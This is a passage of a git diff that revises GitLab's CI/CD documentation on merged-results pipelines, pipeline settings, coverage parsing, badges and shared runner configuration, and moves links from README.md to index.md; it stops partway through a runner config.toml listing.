+When the merge request can't be merged, the pipeline runs against the source branch only. For example, when:
+
+- The target branch has changes that conflict with the changes in the source branch.
+- The merge request is a [**Draft** merge request](../../user/project/merge_requests/drafts.md).
+
+In these cases, the pipeline runs as a [pipeline for merge requests](merge_request_pipelines.md)
+and is labeled as `detached`. If these cases no longer exist, new pipelines
+again run against the merged results.
+
+Any user who has developer [permissions](../../user/permissions.md) can run a
+pipeline for merged results.
+
+## Prerequisites
+
+To enable pipelines for merge results:
+
+- You must have the [Maintainer role](../../user/permissions.md).
+- You must be using [GitLab Runner](https://gitlab.com/gitlab-org/gitlab-runner) 11.9 or later.
+- You must not be using
+ [fast forward merges](../../user/project/merge_requests/fast_forward_merge.md) yet.
+ To follow progress, see [#58226](https://gitlab.com/gitlab-org/gitlab/-/issues/26996).
+- Your repository must be a GitLab repository, not an
+ [external repository](../ci_cd_for_external_repos/index.md).
+
+## Enable pipelines for merged results
+
+To enable pipelines for merged results for your project:
+
+1. [Configure your CI/CD configuration file](merge_request_pipelines.md#configure-pipelines-for-merge-requests)
+ so that the pipeline or individual jobs run for merge requests.
+1. Visit your project's **Settings > General** and expand **Merge requests**.
+1. Check **Enable merged results pipelines**.
+1. Click **Save changes**.
+
+WARNING:
+If you select the check box but don't configure your CI/CD to use
+pipelines for merge requests, your merge requests may become stuck in an
+unresolved state or your pipelines may be dropped.
+
+## Using Merge Trains
+
+When you enable [Pipelines for merged results](#pipelines-for-merged-results),
+GitLab [automatically displays](merge_trains.md#add-a-merge-request-to-a-merge-train)
+a **Start/Add Merge Train button**.
+
+Generally, this is a safer option than merging merge requests immediately, because your
+merge request is evaluated with an expected post-merge result before the actual
+merge happens.
+
+For more information, read the [documentation on Merge Trains](merge_trains.md).
+
+## Automatic pipeline cancellation
+
+> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/12996) in [GitLab Premium](https://about.gitlab.com/pricing/) 12.3.
+
+GitLab CI/CD can detect the presence of redundant pipelines, and cancels them
+to conserve CI resources.
+
+When a user merges a merge request immediately in an ongoing merge
+train, the train is reconstructed, because it recreates the expected
+post-merge commit and pipeline. In this case, the merge train may already
+have pipelines running against the previous expected post-merge commit.
+These pipelines are considered redundant and are automatically
+canceled.
+
+## Troubleshooting
+
+### Pipelines for merged results not created even with new change pushed to merge request
+
+Can be caused by some disabled feature flags. Please make sure that
+the following feature flags are enabled on your GitLab instance:
+
+- `:merge_ref_auto_sync`
+
+To check and set these feature flag values, please ask an administrator to:
+
+1. Log into the Rails console of the GitLab instance:
+
+ ```shell
+ sudo gitlab-rails console
+ ```
+
+1. Check if the flags are enabled or not:
+
+ ```ruby
+ Feature.enabled?(:merge_ref_auto_sync)
+ ```
+
+1. If needed, enable the feature flags:
+
+ ```ruby
+ Feature.enable(:merge_ref_auto_sync)
+ ```
+
+### Intermittently pipelines fail by `fatal: reference is not a tree:` error
+
+Since pipelines for merged results are a run on a merge ref of a merge request
+(`refs/merge-requests/<iid>/merge`), the Git reference could be overwritten at an
+unexpected timing. For example, when a source or target branch is advanced.
+In this case, the pipeline fails because of `fatal: reference is not a tree:` error,
+which indicates that the checkout-SHA is not found in the merge ref.
+
+This behavior was improved at GitLab 12.4 by introducing [Persistent pipeline refs](../troubleshooting.md#fatal-reference-is-not-a-tree-error).
+You should be able to create pipelines at any timings without concerning the error.
diff --git a/doc/ci/pipelines/schedules.md b/doc/ci/pipelines/schedules.md
index c6a40039816..9cb600ae551 100644
--- a/doc/ci/pipelines/schedules.md
+++ b/doc/ci/pipelines/schedules.md
@@ -52,14 +52,14 @@ is installed on.
### Using variables
You can pass any number of arbitrary variables. They are available in
-GitLab CI/CD so that they can be used in your [`.gitlab-ci.yml` file](../../ci/yaml/README.md).
+GitLab CI/CD so that they can be used in your [`.gitlab-ci.yml` file](../../ci/yaml/index.md).
![Scheduled pipeline variables](img/pipeline_schedule_variables.png)
### Using `rules`
To configure a job to be executed only when the pipeline has been
-scheduled, use the [`rules`](../yaml/README.md#rules) keyword.
+scheduled, use the [`rules`](../yaml/index.md#rules) keyword.
In this example, `make world` runs in scheduled pipelines, and `make build`
runs in branch and tag pipelines:
diff --git a/doc/ci/pipelines/settings.md b/doc/ci/pipelines/settings.md
index 2e842856e55..db6fa7f4d23 100644
--- a/doc/ci/pipelines/settings.md
+++ b/doc/ci/pipelines/settings.md
@@ -6,125 +6,199 @@ disqus_identifier: 'https://docs.gitlab.com/ee/user/project/pipelines/settings.h
type: reference, howto
---
-# Pipeline settings **(FREE)**
+# Customize pipeline configuration **(FREE)**
-To reach the pipelines settings navigate to your project's
-**Settings > CI/CD**.
-
-The following settings can be configured per project.
+You can customize how pipelines run for your project.
<i class="fa fa-youtube-play youtube" aria-hidden="true"></i>
-For an overview, watch the video [GitLab CI Pipeline, Artifacts, and Environments](https://www.youtube.com/watch?v=PCKDICEe10s).
+For an overview of pipelines, watch the video [GitLab CI Pipeline, Artifacts, and Environments](https://www.youtube.com/watch?v=PCKDICEe10s).
Watch also [GitLab CI pipeline tutorial for beginners](https://www.youtube.com/watch?v=Jav4vbUrqII).
-You can use the pipeline status to determine if a merge request can be merged:
+## Change which users can view your pipelines
-- [Merge when pipeline succeeds](../../user/project/merge_requests/merge_when_pipeline_succeeds.md).
-- [Only allow merge requests to be merged if the pipeline succeeds](../../user/project/merge_requests/merge_when_pipeline_succeeds.md#only-allow-merge-requests-to-be-merged-if-the-pipeline-succeeds).
+For public and internal projects, you can change who can see your:
-## Git strategy
+- Pipelines
+- Job output logs
+- Job artifacts
+- [Pipeline security dashboard](../../user/application_security/security_dashboard/index.md#pipeline-security)
-With Git strategy, you can choose the default way your repository is fetched
-from GitLab in a job.
+However:
-There are two options. Using:
+- Job output logs and artifacts are [never visible for Guest users and non-project members](https://gitlab.com/gitlab-org/gitlab/-/issues/25649).
-- `git clone`, which is slower because it clones the repository from scratch
- for every job, ensuring that the local working copy is always pristine.
-- `git fetch`, which is default in GitLab and faster as it re-uses the local working copy (falling
- back to clone if it doesn't exist).
- This is recommended, especially for [large repositories](../large_repositories/index.md#git-strategy).
+To change the visibility of your pipelines and related features:
-The configured Git strategy can be overridden by the [`GIT_STRATEGY` variable](../runners/configure_runners.md#git-strategy)
-in `.gitlab-ci.yml`.
+1. On the top bar, select **Menu > Projects** and find your project.
+1. On the left sidebar, select **Settings > CI/CD**.
+1. Expand **General pipelines**.
+1. Select or clear the **Public pipelines** checkbox.
+ When it is selected, pipelines and related features are visible:
-## Git shallow clone
+ - For **public** projects, to everyone.
+ - For **internal** projects, to all logged-in users except [external users](../../user/permissions.md#external-users).
+ - For **private** projects, to all project members (Guest or higher).
-> [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/28919) in GitLab 12.0.
+ When it is cleared:
-It is possible to limit the number of changes that GitLab CI/CD fetches when cloning
-a repository. Setting a limit to `git depth` can speed up Pipelines execution.
+ - For **public** projects, pipelines are visible to everyone. Related features are visible
+ only to project members (Reporter or higher).
+ - For **internal** projects, pipelines are visible to all logged in users except [external users](../../user/permissions.md#external-users).
+ Related features are visible only to project members (Reporter or higher).
+ - For **private** projects, pipelines and related features are visible to project members (Reporter or higher) only.
-In GitLab 12.0 and later, newly created projects automatically have a default
-`git depth` value of `50`. The maximum allowed value is `1000`.
+## Auto-cancel redundant pipelines
+
+You can set pending or running pipelines to cancel automatically when a new pipeline runs on the same branch. You can enable this in the project settings:
+
+1. On the top bar, select **Menu > Projects** and find your project.
+1. On the left sidebar, select **Settings > CI/CD**.
+1. Expand **General Pipelines**.
+1. Select the **Auto-cancel redundant pipelines** checkbox.
+1. Select **Save changes**.
+
+Use the [`interruptible`](../yaml/index.md#interruptible) keyword to indicate if a
+running job can be cancelled before it completes.
-To disable shallow clone and make GitLab CI/CD fetch all branches and tags each time,
-keep the value empty or set to `0`.
+## Skip outdated deployment jobs
+
+> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/25276) in GitLab 12.9.
+
+Your project may have multiple concurrent deployment jobs that are
+scheduled to run in the same time frame.
+
+This can lead to a situation where an older deployment job runs after a
+newer one, which may not be what you want.
-This value can also be [overridden by `GIT_DEPTH`](../large_repositories/index.md#shallow-cloning) variable in `.gitlab-ci.yml` file.
+To avoid this scenario:
-## Timeout
+1. On the top bar, select **Menu > Projects** and find your project.
+1. On the left sidebar, select **Settings > CI/CD**.
+1. Expand **General pipelines**.
+1. Select the **Skip outdated deployment jobs** checkbox.
+1. Select **Save changes**.
-Timeout defines the maximum amount of time in minutes that a job is able run.
-This is configurable under your project's **Settings > CI/CD > General pipelines settings**.
-The default value is 60 minutes. Decrease the time limit if you want to impose
-a hard limit on your jobs' running time or increase it otherwise. In any case,
-if the job surpasses the threshold, it is marked as failed.
+Older deployment job are skipped when a new deployment starts.
-### Timeout overriding for runners
+For more information, see [Deployment safety](../environments/deployment_safety.md).
-> [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/17221) in GitLab 10.7.
+## Retry outdated jobs
-Project defined timeout (either specific timeout set by user or the default
-60 minutes timeout) may be [overridden for runners](../runners/configure_runners.md#set-maximum-job-timeout-for-a-runner).
+> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/211339) in GitLab 13.6.
-## Maximum artifacts size **(FREE SELF)**
+A deployment job can fail because a newer one has run. If you retry the failed deployment job, the
+environment could be overwritten with older source code. If you click **Retry**, a modal warns you
+about this and asks for confirmation.
-For information about setting a maximum artifact size for a project, see
-[Maximum artifacts size](../../user/admin_area/settings/continuous_integration.md#maximum-artifacts-size).
+For more information, see [Deployment safety](../environments/deployment_safety.md).
-## Custom CI/CD configuration file
+## Specify a custom CI/CD configuration file
> [Support for external `.gitlab-ci.yml` locations](https://gitlab.com/gitlab-org/gitlab/-/issues/14376) introduced in GitLab 12.6.
-By default we look for the `.gitlab-ci.yml` file in the project's root
-directory. If needed, you can specify an alternate path and filename, including locations outside the project.
+GitLab expects to find the CI/CD configuration file (`.gitlab-ci.yml`) in the project's root
+directory. However, you can specify an alternate filename path, including locations outside the project.
To customize the path:
-1. Go to the project's **Settings > CI/CD**.
-1. Expand the **General pipelines** section.
-1. Provide a value in the **CI/CD configuration file** field.
-1. Click **Save changes**.
+1. On the top bar, select **Menu > Projects** and find your project.
+1. On the left sidebar, select **Settings > CI/CD**.
+1. Expand **General pipelines**.
+1. In the **CI/CD configuration file** field, enter the filename. If the file:
+ - Is not in the root directory, include the path.
+ - Is in a different project, include the group and project name.
+ - Is on an external site, enter the full URL.
+1. Select **Save changes**.
+
+### Custom CI/CD configuration file examples
-If the CI/CD configuration file is stored in the repository in a non-default
-location, the path must be relative to the root directory. Examples of valid
-paths and file names include:
+If the CI/CD configuration file is not in the root directory, the path must be relative to it.
+For example:
-- `.gitlab-ci.yml` (default)
-- `.my-custom-file.yml`
- `my/path/.gitlab-ci.yml`
- `my/path/.my-custom-file.yml`
-If hosting the CI/CD configuration file on an external site, the URL link must end with `.yml`:
+If the CI/CD configuration file is on an external site, the URL must end with `.yml`:
- `http://example.com/generate/ci/config.yml`
-If hosting the CI/CD configuration file in a different project in GitLab, the path must be relative
+If the CI/CD configuration file is in a different project, the path must be relative
to the root directory in the other project. Include the group and project name at the end:
- `.gitlab-ci.yml@mygroup/another-project`
- `my/path/.my-custom-file.yml@mygroup/another-project`
-Hosting the configuration file in a separate project allows stricter control of the
-configuration file. For example:
+If the configuration file is in a separate project, you can more set more granular permissions. For example:
- Create a public project to host the configuration file.
- Give write permissions on the project only to users who are allowed to edit the file.
-Other users and projects can access the configuration file without being
+Then other users and projects can access the configuration file without being
able to edit it.
-## Test coverage parsing
+## Choose the default Git strategy
+
+You can choose how your repository is fetched from GitLab when a job runs.
+
+1. On the top bar, select **Menu > Projects** and find your project.
+1. On the left sidebar, select **Settings > CI/CD**.
+1. Expand **General pipelines**.
+1. Under **Git strategy**, select an option:
+ - `git clone` is slower because it clones the repository from scratch
+ for every job. However, the local working copy is always pristine.
+ - `git fetch` is faster because it re-uses the local working copy (and falls
+ back to clone if it doesn't exist). This is recommended, especially for
+ [large repositories](../large_repositories/index.md#git-strategy).
+
+The configured Git strategy can be overridden by the [`GIT_STRATEGY` variable](../runners/configure_runners.md#git-strategy)
+in the `.gitlab-ci.yml` file.
+
+## Limit the number of changes fetched during clone
+
+> [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/28919) in GitLab 12.0.
+
+You can limit the number of changes that GitLab CI/CD fetches when it clones
+a repository.
+
+1. On the top bar, select **Menu > Projects** and find your project.
+1. On the left sidebar, select **Settings > CI/CD**.
+1. Expand **General pipelines**.
+1. Under **Git strategy**, under **Git shallow clone**, enter a value.
+ The maximum value is `1000`. To disable shallow clone and make GitLab CI/CD
+ fetch all branches and tags each time, keep the value empty or set to `0`.
+
+In GitLab 12.0 and later, newly created projects automatically have a default
+`git depth` value of `50`.
+
+This value can be overridden by the [`GIT_DEPTH` variable](../large_repositories/index.md#shallow-cloning)
+in the `.gitlab-ci.yml` file.
+
+## Set a limit for how long jobs can run
+
+You can define how long a job can run before it times out.
+
+1. On the top bar, select **Menu > Projects** and find your project.
+1. On the left sidebar, select **Settings > CI/CD**.
+1. Expand **General pipelines**.
+1. In the **Timeout** field, enter the number of minutes, or a human-readable value like `2 hours`.
+
+Jobs that exceed the timeout are marked as failed.
+
+You can override this value [for individual runners](../runners/configure_runners.md#set-maximum-job-timeout-for-a-runner).
+
+## Add test coverage results to a merge request
-If you use test coverage in your code, GitLab can capture its output in the
-job log using a regular expression.
+If you use test coverage in your code, you can use a regular expression to
+find coverage results in the job log. You can then include these results
+in the merge request in GitLab.
-In your project, go to **Settings > CI/CD** and expand the **General pipelines**
-section. Enter the regular expression in the **Test coverage parsing** field.
+1. On the top bar, select **Menu > Projects** and find your project.
+1. On the left sidebar, select **Settings > CI/CD**.
+1. Expand **General pipelines**.
+1. In the **Test coverage parsing** field, enter a regular expression.
+ Leave blank to disable this feature.
-Leave blank if you want to disable it or enter a Ruby regular expression. You
-can use <https://rubular.com> to test your regex. The regex returns the **last**
+You can use <https://rubular.com> to test your regex. The regex returns the **last**
match found in the output.
If the pipeline succeeds, the coverage is shown in the merge request widget and
@@ -135,6 +209,10 @@ averaged.
![Build status coverage](img/pipelines_test_coverage_build.png)
+### Test coverage examples
+
+Use this regex for commonly used test tools.
+
<!-- vale gitlab.Spelling = NO -->
- Simplecov (Ruby). Example: `\(\d+.\d+\%\) covered`.
@@ -148,27 +226,51 @@ averaged.
- `mix test --cover` (Elixir). Example: `\d+.\d+\%\s+\|\s+Total`.
- JaCoCo (Java/Kotlin). Example: `Total.*?([0-9]{1,3})%`.
- `go test -cover` (Go). Example: `coverage: \d+.\d+% of statements`.
-- .Net (OpenCover). Example: `(Visited Points).*\((.*)\)`.
-- .Net (`dotnet test` line coverage). Example: `Total\s*\|\s*(\d+(?:\.\d+)?)`.
+- .NET (OpenCover). Example: `(Visited Points).*\((.*)\)`.
+- .NET (`dotnet test` line coverage). Example: `Total\s*\|\s*(\d+(?:\.\d+)?)`.
<!-- vale gitlab.Spelling = YES -->
-### Code Coverage history
+### View code coverage history
> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/209121) the ability to download a `.csv` in GitLab 12.10.
> - [Graph introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/33743) in GitLab 13.1.
To see the evolution of your project code coverage over time,
-you can view a graph or download a CSV file with this data. From your project:
+you can view a graph or download a CSV file with this data.
+
+1. On the top bar, select **Menu > Projects** and find your project.
+1. On the left sidebar, select **Analytics > Repository**.
-1. Go to **Project Analytics > Repository** to see the historic data for each job listed in the dropdown above the graph.
-1. If you want a CSV file of that data, click **Download raw data (`.csv`)**
+The historic data for each job is listed in the dropdown above the graph.
+
+To view a CSV file of the data, select **Download raw data (`.csv`)**.
![Code coverage graph of a project over time](img/code_coverage_graph_v13_1.png)
Code coverage data is also [available at the group level](../../user/group/repositories_analytics/index.md).
-### Removing color codes
+### Coverage check approval rule **(PREMIUM)**
+
+> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/15765) in GitLab 14.0.
+> - [Made configurable in Project Settings](https://gitlab.com/gitlab-org/gitlab/-/issues/331001) in GitLab 14.1.
+
+You can implement merge request approvals to require approval by selected users or a group
+when merging a merge request would cause the project's test coverage to decline.
+
+Follow these steps to enable the `Coverage-Check` MR approval rule:
+
+1. Go to your project and select **Settings > General**.
+1. Expand **Merge request approvals**.
+1. Select **Enable** next to the `Coverage-Check` approval rule.
+1. Select the **Target branch**.
+1. Set the number of **Approvals required** to greater than zero.
+1. Select the users or groups to provide approval.
+1. Select **Add approval rule**.
+
+![Coverage-Check approval rule](img/coverage_check_approval_rule_14_1.png)
+
+### Remove color codes from code coverage
Some test coverage tools output with ANSI color codes that aren't
parsed correctly by the regular expression. This causes coverage
@@ -184,93 +286,20 @@ For example:
lein cloverage | perl -pe 's/\e\[?.*?[\@-~]//g'
```
-## Visibility of pipelines
-
-Pipeline visibility is determined by:
-
-- Your current [user access level](../../user/permissions.md).
-- The **Public pipelines** project setting under your project's **Settings > CI/CD > General pipelines**.
-
-NOTE:
-If the project visibility is set to **Private**, the [**Public pipelines** setting has no effect](../enable_or_disable_ci.md#per-project-user-setting).
-
-This also determines the visibility of these related features:
-
-- Job output logs
-- Job artifacts
-- The [pipeline security dashboard](../../user/application_security/security_dashboard/index.md#pipeline-security) **(ULTIMATE)**
-
-Job logs and artifacts are [not visible for guest users and non-project members](https://gitlab.com/gitlab-org/gitlab/-/issues/25649).
-
-If **Public pipelines** is enabled (default):
-
-- For **public** projects, anyone can view the pipelines and related features.
-- For **internal** projects, any logged in user except [external users](../../user/permissions.md#external-users) can view the pipelines
- and related features.
-- For **private** projects, any project member (guest or higher) can view the pipelines
- and related features.
-
-If **Public pipelines** is disabled:
-
-- For **public** projects, anyone can view the pipelines, but only members
- (reporter or higher) can access the related features.
-- For **internal** projects, any logged in user except [external users](../../user/permissions.md#external-users) can view the pipelines.
- However, only members (reporter or higher) can access the job related features.
-- For **private** projects, only project members (reporter or higher)
- can view the pipelines or access the related features.
-
-## Auto-cancel redundant pipelines
-
-You can set pending or running pipelines to cancel automatically when a new pipeline runs on the same branch. You can enable this in the project settings:
-
-1. Go to **Settings > CI/CD**.
-1. Expand **General Pipelines**.
-1. Check the **Auto-cancel redundant pipelines** checkbox.
-1. Click **Save changes**.
-
-Use the [`interruptible`](../yaml/README.md#interruptible) keyword to indicate if a
-running job can be cancelled before it completes.
-
-## Skip outdated deployment jobs
-
-> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/25276) in GitLab 12.9.
+## Pipeline badges
-Your project may have multiple concurrent deployment jobs that are
-scheduled to run in the same time frame.
+Pipeline badges indicate the pipeline status and a test coverage value
+for your project. These badges are determined by the latest successful pipeline.
-This can lead to a situation where an older deployment job runs after a
-newer one, which may not be what you want.
+### View the code for the pipeline status and coverage reports badges
-To avoid this scenario:
+You can view the exact link for your badges. Then you can embed the badge in your HTML
+or Markdown pages.
-1. Go to **Settings > CI/CD**.
+1. On the top bar, select **Menu > Projects** and find your project.
+1. On the left sidebar, select **Settings > CI/CD**.
1. Expand **General pipelines**.
-1. Check the **Skip outdated deployment jobs** checkbox.
-1. Click **Save changes**.
-
-When enabled, any older deployments job are skipped when a new deployment starts.
-
-For more information, see [Deployment safety](../environments/deployment_safety.md).
-
-## Retry outdated jobs
-
-> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/211339) in GitLab 13.6.
-
-A deployment job can fail because a newer one has run. If you retry the failed deployment job, the
-environment could be overwritten with older source code. If you click **Retry**, a modal warns you
-about this and asks for confirmation.
-
-For more information, see [Deployment safety](../environments/deployment_safety.md).
-
-## Pipeline Badges
-
-In the pipelines settings page you can find pipeline status and test coverage
-badges for your project. The latest successful pipeline is used to read
-the pipeline status and test coverage values.
-
-Visit the pipelines settings page in your project to see the exact link to
-your badges. You can also see ways to embed the badge image in your HTML or Markdown
-pages.
+1. In the **Pipeline status** or **Coverage report** sections, view the URLs for the images.
![Pipelines badges](img/pipelines_settings_badges.png)
@@ -286,7 +315,7 @@ Depending on the status of your pipeline, a badge can have the following values:
- `canceled`
- `unknown`
-You can access a pipeline status badge image using the following link:
+You can access a pipeline status badge image by using the following link:
```plaintext
https://gitlab.example.com/<namespace>/<project>/badges/<branch>/pipeline.svg
@@ -294,7 +323,7 @@ https://gitlab.example.com/<namespace>/<project>/badges/<branch>/pipeline.svg
#### Display only non-skipped status
-If you want the pipeline status badge to only display the last non-skipped status, you can use the `?ignore_skipped=true` query parameter:
+To make the pipeline status badge display only the last non-skipped status, use the `?ignore_skipped=true` query parameter:
```plaintext
https://gitlab.example.com/<namespace>/<project>/badges/<branch>/pipeline.svg?ignore_skipped=true
@@ -302,20 +331,20 @@ https://gitlab.example.com/<namespace>/<project>/badges/<branch>/pipeline.svg?ig
### Test coverage report badge
-GitLab makes it possible to define the regular expression for the [coverage report](#test-coverage-parsing),
+You can define the regular expression for the [coverage report](#add-test-coverage-results-to-a-merge-request)
that each job log is matched against. This means that each job in the
pipeline can have the test coverage percentage value defined.
-The test coverage badge can be accessed using following link:
+To access the test coverage badge, use the following link:
```plaintext
https://gitlab.example.com/<namespace>/<project>/badges/<branch>/coverage.svg
```
-If you would like to get the coverage report from a specific job, you can add
+To get the coverage report from a specific job, add
the `job=coverage_job_name` parameter to the URL. For example, the following
Markdown code embeds the test coverage report badge of the `coverage` job
-into your `README.md`:
+in your `README.md`:
```markdown
![coverage](https://gitlab.com/gitlab-org/gitlab/badges/main/coverage.svg?job=coverage)
diff --git a/doc/ci/quick_start/README.md b/doc/ci/quick_start/README.md
deleted file mode 100644
index 577a80407d7..00000000000
--- a/doc/ci/quick_start/README.md
+++ /dev/null
@@ -1,9 +0,0 @@
----
-redirect_to: 'index.md'
-remove_date: '2021-05-01'
----
-
-This document was moved to [another location](index.md).
-
-<!-- This redirect file can be deleted after 2021-05-01. -->
-<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->
diff --git a/doc/ci/quick_start/index.md b/doc/ci/quick_start/index.md
index 225794aec17..8d800d49be3 100644
--- a/doc/ci/quick_start/index.md
+++ b/doc/ci/quick_start/index.md
@@ -142,7 +142,7 @@ The pipeline starts when the commit is committed.
- You can also use [CI/CD configuration visualization](../pipeline_editor/index.md#visualize-ci-configuration) to
view a graphical representation of your `.gitlab-ci.yml` file.
- For the complete `.gitlab-ci.yml` syntax, see
- [the `.gitlab-ci.yml` reference topic](../yaml/README.md).
+ [the `.gitlab-ci.yml` reference topic](../yaml/index.md).
### View the status of your pipeline and jobs
diff --git a/doc/ci/review_apps/index.md b/doc/ci/review_apps/index.md
index a64efd50f6f..1ed736de1e8 100644
--- a/doc/ci/review_apps/index.md
+++ b/doc/ci/review_apps/index.md
@@ -22,7 +22,7 @@ Review Apps:
- Provide an automatic live preview of changes made in a feature branch by spinning up a dynamic environment for your merge requests.
- Allow designers and product managers to see your changes without needing to check out your branch and run your changes in a sandbox environment.
-- Are fully integrated with the [GitLab DevOps LifeCycle](../../README.md#the-entire-devops-lifecycle).
+- Are fully integrated with the [GitLab DevOps LifeCycle](../../index.md#the-entire-devops-lifecycle).
- Allow you to deploy your changes wherever you want.
![Review Apps Workflow](img/continuous-delivery-review-apps.svg)
@@ -62,7 +62,7 @@ The process of configuring Review Apps is as follows:
1. Set up the infrastructure to host and deploy the Review Apps (check the [examples](#review-apps-examples) below).
1. [Install](https://docs.gitlab.com/runner/install/) and [configure](https://docs.gitlab.com/runner/commands/) a runner to do deployment.
-1. Set up a job in `.gitlab-ci.yml` that uses the [predefined CI/CD variable](../variables/README.md) `${CI_COMMIT_REF_NAME}`
+1. Set up a job in `.gitlab-ci.yml` that uses the [predefined CI/CD variable](../variables/index.md) `${CI_COMMIT_REF_NAME}`
to create dynamic environments and restrict it to run only on branches.
Alternatively, you can get a YML template for this job by [enabling review apps](#enable-review-apps-button) for your project.
1. Optionally, set a job that [manually stops](../environments/index.md#stopping-an-environment) the Review Apps.
@@ -224,7 +224,7 @@ To see Visual reviews in action, see the [Visual Reviews Walk through](https://y
### Configure Review Apps for Visual Reviews
The feedback form is served through a script you add to pages in your Review App.
-If you have [Developer permissions](../../user/permissions.md) to the project,
+If you have the [Developer role](../../user/permissions.md) in the project,
you can access it by clicking the **Review** button in the **Pipeline** section
of the merge request. The form modal also shows a dropdown for changed pages
if [route maps](#route-maps) are configured in the project.
@@ -254,7 +254,7 @@ to replace those values at runtime when each review app is created:
variable.
- `data-merge-request-id` is the merge request ID, which can be found by the
`CI_MERGE_REQUEST_IID` variable. `CI_MERGE_REQUEST_IID` is available only if
- [`only: [merge_requests]`](../merge_request_pipelines/index.md)
+ [`only: [merge_requests]`](../pipelines/merge_request_pipelines.md)
is used and the merge request is created.
- `data-mr-url` is the URL of the GitLab instance and is the same for all
review apps.
diff --git a/doc/ci/runners/README.md b/doc/ci/runners/README.md
index 45113c480c7..5ab8653dc35 100644
--- a/doc/ci/runners/README.md
+++ b/doc/ci/runners/README.md
@@ -1,289 +1,8 @@
---
-stage: Verify
-group: Runner
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
-type: reference
+redirect_to: 'index.md'
---
-# GitLab SaaS runners
+This document was moved to [another location](index.md).
-If you are using self-managed GitLab or you want to use your own runners on GitLab.com, you can
-[install and configure your own runners](https://docs.gitlab.com/runner/install/).
-
-If you are using GitLab SaaS (GitLab.com), your CI jobs automatically run on shared runners. No configuration is required.
-Your jobs can run on [Linux](#linux-shared-runners) or [Windows](#windows-shared-runners-beta).
-
-The number of minutes you can use on these shared runners depends on your
-[quota](../../user/admin_area/settings/continuous_integration.md#shared-runners-pipeline-minutes-quota),
-which depends on your [subscription plan](../../subscriptions/gitlab_com/index.md#ci-pipeline-minutes).
-
-## Linux shared runners
-
-Linux shared runners on GitLab.com run in autoscale mode and are powered by Google Cloud Platform.
-
-Autoscaling means reduced queue times to spin up CI/CD jobs, and isolated VMs for each job, thus maximizing security. These shared runners are available for users and customers on GitLab.com.
-
-GitLab offers Ultimate tier capabilities and included CI/CD minutes per group per month for our [Open Source](https://about.gitlab.com/solutions/open-source/join/), [Education](https://about.gitlab.com/solutions/education/), and [Startups](https://about.gitlab.com/solutions/startups/) programs. For private projects, GitLab offers various [plans](https://about.gitlab.com/pricing/), starting with a Free tier.
-
-All your CI/CD jobs run on [n1-standard-1 instances](https://cloud.google.com/compute/docs/machine-types) with 3.75GB of RAM, CoreOS and the latest Docker Engine
-installed. Instances provide 1 vCPU and 25GB of HDD disk space. The default
-region of the VMs is US East1.
-Each instance is used only for one job, this ensures any sensitive data left on the system can't be accessed by other people their CI jobs.
-
-The `gitlab-shared-runners-manager-X.gitlab.com` fleet of runners are dedicated for GitLab projects as well as community forks of them. They use a slightly larger machine type (n1-standard-2) and have a bigger SSD disk size. They don't run untagged jobs and unlike the general fleet of shared runners, the instances are re-used up to 40 times.
-
-Jobs handled by the shared runners on GitLab.com (`shared-runners-manager-X.gitlab.com`),
-**time out after 3 hours**, regardless of the timeout configured in a
-project. Check the issues [4010](https://gitlab.com/gitlab-com/infrastructure/-/issues/4010) and [4070](https://gitlab.com/gitlab-com/infrastructure/-/issues/4070) for the reference.
-
-Below are the shared runners settings.
-
-| Setting | GitLab.com | Default |
-| ----------- | ----------------- | ---------- |
-| [GitLab Runner](https://gitlab.com/gitlab-org/gitlab-runner) | [Runner versions dashboard](https://dashboards.gitlab.com/d/000000159/ci?from=now-1h&to=now&refresh=5m&orgId=1&panelId=12&fullscreen&theme=light) | - |
-| Executor | `docker+machine` | - |
-| Default Docker image | `ruby:2.5` | - |
-| `privileged` (run [Docker in Docker](https://hub.docker.com/_/docker/)) | `true` | `false` |
-
-### Pre-clone script
-
-Linux shared runners on GitLab.com provide a way to run commands in a CI
-job before the runner attempts to run `git init` and `git fetch` to
-download a GitLab repository. The
-[`pre_clone_script`](https://docs.gitlab.com/runner/configuration/advanced-configuration.html#the-runners-section)
-can be used for:
-
-- Seeding the build directory with repository data
-- Sending a request to a server
-- Downloading assets from a CDN
-- Any other commands that must run before the `git init`
-
-To use this feature, define a [CI/CD variable](../../ci/variables/README.md#custom-cicd-variables) called
-`CI_PRE_CLONE_SCRIPT` that contains a bash script.
-
-[This example](../../development/pipelines.md#pre-clone-step)
-demonstrates how you might use a pre-clone step to seed the build
-directory.
-
-### `config.toml`
-
-The full contents of our `config.toml` are:
-
-NOTE:
-Settings that are not public are shown as `X`.
-
-**Google Cloud Platform**
-
-```toml
-concurrent = X
-check_interval = 1
-metrics_server = "X"
-sentry_dsn = "X"
-
-[[runners]]
- name = "docker-auto-scale"
- request_concurrency = X
- url = "https://gitlab.com/"
- token = "SHARED_RUNNER_TOKEN"
- pre_clone_script = "eval \"$CI_PRE_CLONE_SCRIPT\""
- executor = "docker+machine"
- environment = [
- "DOCKER_DRIVER=overlay2",
- "DOCKER_TLS_CERTDIR="
- ]
- limit = X
- [runners.docker]
- image = "ruby:2.5"
- privileged = true
- volumes = [
- "/certs/client",
- "/dummy-sys-class-dmi-id:/sys/class/dmi/id:ro" # Make kaniko builds work on GCP.
- ]
- [runners.machine]
- IdleCount = 50
- IdleTime = 3600
- MaxBuilds = 1 # For security reasons we delete the VM after job has finished so it's not reused.
- MachineName = "srm-%s"
- MachineDriver = "google"
- MachineOptions = [
- "google-project=PROJECT",
- "google-disk-size=25",
- "google-machine-type=n1-standard-1",
- "google-username=core",
- "google-tags=gitlab-com,srm",
- "google-use-internal-ip",
- "google-zone=us-east1-d",
